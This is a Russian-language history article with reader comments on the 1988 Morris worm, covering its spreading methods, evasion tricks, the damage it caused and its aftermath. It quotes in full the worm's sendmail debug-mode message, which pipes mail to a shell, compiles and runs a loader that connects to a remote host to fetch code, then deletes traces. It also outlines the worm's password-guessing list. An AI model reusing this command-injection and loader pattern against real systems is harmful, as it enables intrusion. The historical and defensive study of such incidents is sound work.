Morris worm — он был первым

    2 ноября 1988 года сеть ARPANET была атакована программой, впоследствии получившей название «червь Морриса» — по имени его создателя, студента Корнельского университета Роберта Морриса-младшего. Сеть ARPANET (Advanced Research Projects Agency Network) была создана в 1969 году по инициативе Управления перспективных исследований Министерства Обороны США (DARPA, Defense Advanced Research Projects Agency) и явившаяся прототипом сети Интернет. Эта сеть создавалась в интересах исследователей в области вычислительной техники и технологии для обмена сообщениями, а также программами и массивами данных между крупнейшими исследовательскими центрами, лабораториями, университетами, государственными организациями и частными фирмами, выполняющими работы в интересах Министерства Обороны США (DoD, Department of Defence of USA). Именно по заказу DoD был разработан один из трех наиболее распространенных протоколов транспортного уровня модели OSI, получивший название TCP/IP, который в 1983 году стал основным в ARPANET. К концу 80-х годов сеть насчитывала несколько десятков тысяч ЭВМ. ARPANET прекратила своё существование в июне 1990 года.
    «Червь Морриса» был первым в истории развития вычислительной техники образцом вредоносного программного обеспечения, который использовал механизмы автоматического распространения по сети. Для этого использовалось несколько уязвимостей сетевых сервисов, а так же некоторые слабые места компьютерных систем, обусловленные недостаточным вниманием к вопросам безопасности в то время.

    По словам Роберта Морриса, червь был создан в исследовательских целях. Его код не содержал в себе никакой «полезной» нагрузки (деструктивных функций). Тем не менее, из-за допущенных ошибок в алгоритмах работы, распространение червя спровоцировало так называемый «отказ в обслуживании», когда ЭВМ были заняты выполнением многочисленных копий червя и переставали реагировать на команды операторов. «Червь Морриса» практически парализовал работу компьютеров в сети ARPANET на срок до пяти суток. Оценка простоя — минимум 8 миллионов часов и свыше 1 миллиона часов временных затрат на восстановление работоспособности систем. Общие убытки в денежном эквиваленте оценивались в 98 миллионов долларов, они складывались их прямых и косвенных потерь.
    К прямым потерям относились (32 миллиона долларов):
    остановка, тестирование и перезагрузка 42700 машин;
    идентификация червя, удаление, чистка памяти и восстановление работоспособности 6200 машин;
    анализ кода червя, дизассемблирование и документирование;
    исправление UNIX-систем и тестирование.
    К косвенным потерям были отнесены (66 миллионов долларов):
    потери машинного времени в результате отсутствия доступа к сети;
    потери доступа пользователей к сети.
    Впрочем, к этим оценкам нужно относится весьма и весьма осторожно.
    Структурно червь состоял из трех частей — «головы» и двух «хвостов». «Голова» представляла собой исходный текст на языке C (99 строк) и компилировалась непосредственно на удаленной машине. «Хвосты» были идентичными, с точки зрения исходного кода и алгоритмов, бинарными файлами, но скомпилированными под разные типы архитектур. По замыслу Морриса в качестве целевых аппаратных платформ были выбраны VAX и SUN. «Голова» забрасывалась при помощи следующих методов:
    • использование отладочного режима в sendmail;
    • использование уязвимости типа «переполнение буфера» в сетевом сервисе fingerd;
    • подбор логина и пароля для удаленного выполнения программ (rexec);
    • вызов удаленного командного интерпретатора (rsh) путем подбора логина и пароля или используя механизм доверия.

    Sendmail — самый старый сетевой сервис, обрабатывающий прием и отправку почты по протоколу SMTP. Во времена распространения червя, в Sendmail имелась недокументированная возможность — разработчиками был запрограммирован отладочный режим, который не должен был находится в рабочей версии программы и был оставлен по ошибке. Одна из возможностей отладочного режима заключалась в том, чтобы почтовое сообщение обрабатывалось не самим Sendmail, а другой программой. Пример почтового сообщения, отправляемого червем:
    debug
    mail from: </dev/null>
    rcptto:<"|sed-e '1,/^$/d' | /bin/sh; exit 0">
    data
    cd /usr/tmp
    cat >x14481910.с <<'EOF'
    <текст программы l1.c>
    EOF
    cc -о х14481910 х14481910.с; х14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
    .
    quit
    Как видно, из тела письма убирались заголовки (при помощи текстового препроцессора sed) и производилось сохранение файла исходного кода «головы». Далее командному процессору давались инструкции на компилирование кода «головы», запуск получившегося исполняемого файла и стирание временных файлов.
    Для эксплуатации уязвимости сервиса fingerd, червь передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve("/bin/sh", 0, 0). Это срабатывало только для компьютеров VAX с установленной ОС 4.3BSD, на компьютерах SUN под управлением SunOS данной уязвимости не было.
    Для использования метода распространения через rexec и rsh собирался список пользователей локальной машины. На его основе производился подбор наиболее часто используемых паролей, в надежде что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети, что впрочем оказалось недалеким от истины. Помимо подбора в rsh использовался механизм доверия, или по другому механизм упрощенной аутентификации по IP адресу удаленной машины. Такие адреса хранились в файлах /etc/hosts.equiv и .rhosts. Для большинства компьютеров доверие было взаимным, так что с большой долей вероятности, перечень IP адресов из этих файлов, найденных червем, позволял осуществить вход в удаленную систему через rsh вообще не используя пароль
    При подборе червь пробовал следующие варианты паролей:
    • пустой;
    • имя пользователя (user);
    • имя пользователя, написанное наоборот (resu);
    • двойной повтор имени пользователя (useruser);
    • имя или фамилия пользователя (John, Smith);
    • имя или фамилия пользователя в нижнем регистре (john, smith);
    • встроенный словарь размером 432 слова;
    • файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD (и других) как орфографический словарь. Если слово начинается с прописной буквы, то проверялся и вариант со строчной буквой.

    Комплексное использование нескольких методов распространения значительно повлияло на массовое распространение червя в сети. Для поиска удаленных компьютеров производилось сканирование сети на основе информации из таблицы маршрутов и собственного IP адреса зараженной системы.
    Червь использовал несколько приемов для затруднения своего обнаружения администраторами компьютеров:
    • удаление своего исполняемого файла после запуска;
    • отключались все сообщения об ошибках, а размер аварийного дампа устанавливался в ноль;
    • исполняемый файл червя сохранялся под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, таким образом, червь маскировался в списке процессов;
    • примерно каждые три минуты порождался дочерний поток, а родительский завершался, при этом происходило постоянное изменение pid процесса червя и обнулялось время работы, показываемое в списке процессов;
    • все текстовые строки были закодированы путем применения операции xor 81h.

    Несмотря на «грандиозность» задумки, червь имел в себе некоторые ошибки, как проектирования, так и реализации. Именно неправильно реализованный алгоритм проверки, не является ли система уже зараженной, привел к массовому распространению червя в сети, вопреки задумке его автора. На практике, компьютеры заражались многократно, что, во-первых, приводило к быстрому исчерпанию ресурсов, во-вторых — способствовало лавинообразному распространению червя в сети. По некоторым оценкам червь Морриса инфицировал порядка 6200 компьютеров. Сам разработчик, осознав масштабы результатов своего поступка, добровольно сдался властям и обо всем рассказал. Слушанье по его делу закончилось 22 января 1990 года. Изначально Моррису грозило до пяти лет лишения свободы и штраф в размере 25 тысяч долларов. В действительности приговор был достаточно мягок, суд назначил 400 часов общественных работ, 10 тысяч долларов штрафа, испытательный срок в три года и оплату расходов, связанных с наблюдением за осужденным.
    Инцидент с «червем Морриса» заставил специалистов в области IT серьезно задуматься о вопросах безопасности, в частности именно после этого для повышения безопасности системы стало внедряться использование пауз после неправильного ввода пароля и хранение паролей в /etc/shadow, куда они перенесены из доступного на чтение всем пользователям файла /etc/passwd. Но наиболее важным событием стало создание в ноябре 1988 года координационного центра CERT (CERT Coordination Center, CERT/CC), деятельность которого связана с решением проблем безопасности в Интернете. Первым появившимся в декабре 1988 года бюллетенем безопасности CERT стало сообщение об уязвимостях, использованных червем. Примечательно, что многие технические решения, используемые «червем Морриса», такие как использование перебора паролей, компиляция кода загрузчика на удаленной ЭВМ под управлением *NIX систем (Slapper), сканирование сети для выявления целей и т.д. применяются и в современных образцах вредоносного программного обеспечения.
    Интересно, что в том же самом 1988 году известный программист Питер Нортон довольно резко высказался в печати против самого факта существования компьютерных вирусов, называя их «мифом» и сравнивая шум вокруг этой темы с «рассказами о крокодилах, живущих в канализации Нью-Йорка». Всего два года спустя после заявления Нортона, в 1990 году, вышла первая версия антивирусной программы Norton AntiVirus.
    И напоследок — в 1988 году, будучи под впечатлением от атаки червя Морриса, американская Ассоциация компьютерного оборудования объявила 30 ноября международным Днем защиты информации (Computer Security Day), который отмечается и по сей день.

    Similar posts

    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 30

      +6
      Можно было приурочить публикацию к 30 ноября. Было бы красиво.
        +1
        Да ладно, а то вдруг опередил бы кто =) Как говорится, всех причастных — с наступающим!
        +1
        Мало что понятно, от того еще более интересно! Как будто статью прочитал в старом выпуске журнала Хакер)
          +2
          Не, там было бы в стиле «йо, кого чего», а здесь нормальным языком изложено.
            0
            Сильно от автора зависело. Были и статьи нормальным языком написанные.
          0
          Интересно, что побудило его сдаться.
          Моральные мучения, из-за того, что навредил? Хитрый ход, чтобы стать знаменитым в будущем?

          Еще вопросец:
          Вы бы, уважаемый читатель, сдались, живя в странах СНГ и совершив что-то подобное?
            +3
            Весьма мужественный поступок: осознал ошибку и помог решить проблему.
              +1
              Про СНГ не знаю, а первый резонансный похожий случай в СССР произошел, по слухам, потому, что программисту не дали почетную грамоту. В 1983 году (сорри за источник, но я читал об этом очень много лет назад). Дали полтора года условно.
                +2
                Золотой комментарий из материала по ссылке: «Моё мнение, что „вирус Уртембаева“ до сих пор „бороздит“ просторы АСУ линий АвтоВаза».
                  +1
                  Он там не бороздит, он, похоже, заменил собой операционную систему АСУ =)
                    0
                    А там есть АСУ? :) Или, по старинке, на глазок?
                      0
                      А как же — автоматизированная система управления кривизной рук.
                        +1
                        «Место проклятое»!
              0
              Ну все-таки американская ассоциация объявила просто День защиты информации, в смысле не международный:)
              А так — здорово, что вспомнили. В своё время, в 93-ем, что ли, году, в Компьютер-Прессе опубликовали тот самый список из 432 слов, который позднее каждый владелец BBS-ок и нод ощутил на себе:)
                0
                Согласен — слова международный не было. Но празднуют теперь во всем мире.
                +1
                Червь Морриса лег в основу худ.фильма «Хакеры» который и рекомендую всем к просмотру…
                  +1
                  Кстати, как сейчас заметил Хакерский журнал выпускался с 1985ого ru.wikipedia.org/wiki/Phrack, а манифест хакера написан был ru.wikipedia.org/wiki/Манифест_хакера в 1986ом и странно, что хакеры были как минимум за 3 года до червя Морриса.
                  Неужто хакеры 3 года вирусы не писали даже?
                    0
                    Тогда «хакали» телефонные станции и прочее оборудование, в том числе методом соц. инженерии.
                      +1
                      Есть великолепная книга Стивена Леви «Hackers: Heroes of Computer Revolution».

                      Русский перевод есть на cooler.irk.ru, вроде ничего. Хотя там язык несложный, можно читать в оригинале.

                      Эта книга обязательна к прочтению всем, кто что-то хочет знать о хакерах. Но там речь идет о первых, истинных хакерах, без отрицательных коннотаций.
                        0
                        Мой любимый короткометражный фильм о настоящих хакерах: www.youtube.com/watch?v=bl_1OybdteY
                        Молодые Возняк, Столлман и прочие прилагаются.
                      0
                      $10000 штрафа это мягкий приговор? Стоит понимать, что тогда доллары были весьма зеленее и стоили они весьма больше чем сейчас, то есть и купить можно было отнюдь намного больше.
                        0
                        bigmacindex.org/1988-big-mac-index.html
                        Да неужели? В 88-то? Речь не о 1888 ) Бигмак стоил всего в 2 раза дешевле.
                          0
                          Ущерб от простоя эксперты оценили в 98 миллионов долларов. И первоначально Моррису грозило до пяти лет лишения свободы и штраф в размере 250 тысяч долларов.
                        +3
                        Интересные факты:

                        Моррис-старший в это время занимал должность научного руководителя Национального Центра Компьютерной Безопасности (NCSC — National Computer Security Center) в NSA (National Security Agency), к этому времени уже являясь автором libmath, bc, crypt и схемы с /etc/passwd, в частности.

                        Моррис-младший стажировался у него.

                        Моррис-младший позже соорганизовал с Полом Грэмом (Graham) viaweb, который продал за большие деньги и который превратился Yahoo! Store. Помню, меня очень удивил тот факт, что этот один из первых онлайн-магазинов был написан на Лиспе.
                          +1
                          Всегда думал об этом черве как о чём-то сверхпростом. Оказывается не всё было так просто. Интересно было прочесть. Спасибо.
                            0
                            Все было не просто хотя бы потому, что он был пионером вирусостротельства, то есть до него никто подобного не делал.
                              0
                              Скорее, червестроительства. Вирус, в общем случае, внедряется в исполняемые файлы.
                            0
                            Отличная статья, хотя всё это уже и знал, но перечитать, так сказать историю минувших дней, было интересно.
                            Если бы смог поставил бы плюс, а так — Спасибо автору.
                              0
                              Всегда пожалуйста.
                              0
                              почитал ник, подумал, что сольют новичку карму — очень рад, что ошибся: читается на одном дыхании, вспомнились годы учебы, AIDSTEST…

                              Only users with full accounts can post comments. Log in, please.